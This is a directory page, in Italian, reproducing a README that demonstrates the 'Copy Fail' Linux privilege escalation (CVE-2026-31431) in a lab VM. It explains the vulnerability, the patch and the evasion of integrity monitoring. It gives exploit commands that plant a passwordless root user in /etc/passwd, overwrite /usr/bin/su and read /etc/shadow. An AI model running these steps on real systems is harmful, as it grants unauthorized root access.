Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Una demo e spiegazione di CVE-2026-31431 | Kitploit
Strumenti/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Una demo e spiegazione di CVE-2026-31431

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
2 mesi faNon ancora revisionato

CVE-2026-31431 CopyFail Linux Local Privilege Escalation

Una dimostrazione e spiegazione di CVE-2026-31431, la vulnerabilità di escalation dei privilegi locali nel kernel Linux denominata Copy Fail. La vulnerabilità consente la sovrascrittura dei dati nella cache delle pagine per file aperti con permessi di sola lettura.

Questo repository ha solo scopo educativo e illustra la vulnerabilità in un ambiente controllato. I file inclusi sono:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Exploit personalizzato che può colpire qualsiasi file con permessi di lettura
│   ├── original_payload.txt    # Copia del payload utilizzato nell'exploit originale
│   ├── copy_fail_original.py   # Exploit originale che sovrascrive /usr/bin/su
│   └── copy_fail_readable.py   # Exploit originale in formato più leggibile con spiegazione del payload
├── README.md
└── Vagrantfile                 # Configurazione per la VM Vagrant che esegue Ubuntu 22.04

Introduzione

La vulnerabilità, denominata Copy Fail, è presente nei kernel Linux dal 2017 al 2026 a causa di un difetto logico in algif_aead. Le è stato assegnato CVE-2026-31431 con un punteggio CVSS di 7.8, che comporta una valutazione di gravità alta. L'exploit è deterministico e può bypassare gli strumenti tradizionali di monitoraggio dell'integrità dei file.

Prove di concetto sono state pubblicate in vari linguaggi, tra cui C, Python e Go, ma per questa dimostrazione viene utilizzato Python e richiede Python versione 3.10 o superiore. Questo exploit richiede l'esecuzione locale di codice come utente non privilegiato e può essere utilizzato per l'escalation dei privilegi locali.

Le sezioni successive sono:

  • Sfruttamento: Dimostrazioni dell'exploit e di come può essere utilizzato per ottenere privilegi di root.
  • Nota sulla rilevazione dello sfruttamento: Spiegazione del motivo per cui questo exploit è difficile da rilevare con gli strumenti tradizionali di monitoraggio dell'integrità dei file.
  • Vulnerabilità: Un collegamento al commit che ha introdotto la vulnerabilità e una spiegazione del problema.
  • Patch: Un collegamento al commit che ha corretto la vulnerabilità e una spiegazione della soluzione.
  • Risorse aggiuntive: Un elenco di risorse per ulteriori letture e implementazioni dell'exploit in vari linguaggi

Sfruttamento

Configurazione

Assicurati di avere Vagrant e QEMU installati. Quindi, clona questo repository e spostati nella directory del progetto.

root@kitploit:~
vagrant up
vagrant ssh

All'interno della VM, possiamo testare i limiti delle nostre capacità.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Ci viene chiesta la password di root, che non abbiamo

stat /usr/bin/su # Abbiamo permessi di lettura ed esecuzione
stat /etc/passwd # Abbiamo permessi di lettura
stat /etc/shadow # Non abbiamo alcun permesso

Ovviamente siamo limitati nelle nostre capacità, ma possiamo usare la vulnerabilità per escalare i privilegi.

Demo di sfruttamento 1: Capire l'exploit

Per capire la vulnerabilità, sovrascriviamo un file fittizio e vediamo cosa succede.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Abbiamo un file con tre righe. La prima riga è lunga 6 byte (incluso il newline), la seconda è di 2 byte, la terza è di un singolo byte. Questo è importante perché l'exploit sovrascrive i dati in blocchi di 4 byte e riempiamo il payload per completarlo.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Possiamo vedere che abbiamo sostituito i primi 8 byte del file con il nostro payload. Ci sono due caratteri presenti ma non stampabili. Apri il file in nano per controllare. Ma questo non è molto interessante, quindi passiamo a scrivere in file per i quali non abbiamo permessi di scrittura.

Demo di sfruttamento 2: Rimuovere la password di root

Possiamo sovrascrivere il contenuto di /etc/passwd per aggiungere un utente con privilegi di root ma senza password.

root@kitploit:~
cat /etc/passwd

La prima riga contiene l'utente root ed è composta da 8 gruppi di 4 caratteri (incluso il newline). È formattata come root:x:0:0:root:/root:/bin/bash, e i valori si riferiscono a nome utente, password, UID, GID, home directory, shell.

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Abbiamo aggiunto un nuovo utente hackd con UID 0 e GID 0, il che significa che ha privilegi di root. Il campo password è vuoto, quindi possiamo accedere senza password.

root@kitploit:~
su hackd
id
cat /etc/shadow

Demo di sfruttamento 3: Sovrascrivere un eseguibile

Nell'exploit originale, il binario /usr/bin/su viene sovrascritto con istruzioni per eseguire una shell, consentendo all'attaccante di ottenere privilegi di root quando esegue su. Possiamo ricreare questo exploit puntando a /usr/bin/su con il payload originale da un file. Nota che questo distrugge il binario su nella cache delle pagine.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Con il payload in posizione, possiamo eseguire su e ottenere privilegi di root. Questo apre una shell con user id 0, che tipicamente è l'utente root, ma se la demo precedente è stata eseguita, sarebbe l'utente hackd che abbiamo creato. Questo exploit aprirebbe una shell anche se l'utente root ha una password.

root@kitploit:~
su
id

Nota sulla rilevazione dello sfruttamento

Questo exploit non modifica il file su disco, ma piuttosto lo stato della cache delle pagine. Di conseguenza, gli strumenti tradizionali di monitoraggio dell'integrità dei file che controllano le modifiche ai file su disco non rilevano questo exploit.

Per dimostrarlo, esegui l'exploit sopra e dopo un riavvio della VM, controlla il contenuto del file bersaglio.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # Il file è immutato su disco

Vulnerabilità

I seguenti componenti sono utilizzati nell'exploit:

  1. splice
    • Trasferisce dati tra descrittori di file senza copia
    • Modificare un messaggio spliced modifica anche la cache delle pagine
  2. recvmsg
    • Riceve informazioni piped e sposta i dati nel buffer per l'operazione crittografica
    • Input AD e CT vengono copiati, TAG viene passato per riferimento AD||CT||TAG
  3. authensc
    • C'è il presupposto che solo AD e CT vengano modificati, ma authensc rompe questo presupposto
    • AD vengono divisi in seqno_hi e seqno_lo e authensc inverte il loro ordine in-place copiandolo dopo TAG
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • Questa sequenza viene copiata nella posizione di riferimento

Il commit che ha abilitato l'ottimizzazione in-place che ha creato questa vulnerabilità:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

Patch

La patch è stata realizzata senza annunci pubblici e rimuove la funzionalità dell'operazione in-place in algif_aead:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Risorse aggiuntive

Leggi di più:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Implementazioni in Python

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

Implementazioni in C

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Implementazioni in Go

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
Scarica lo strumento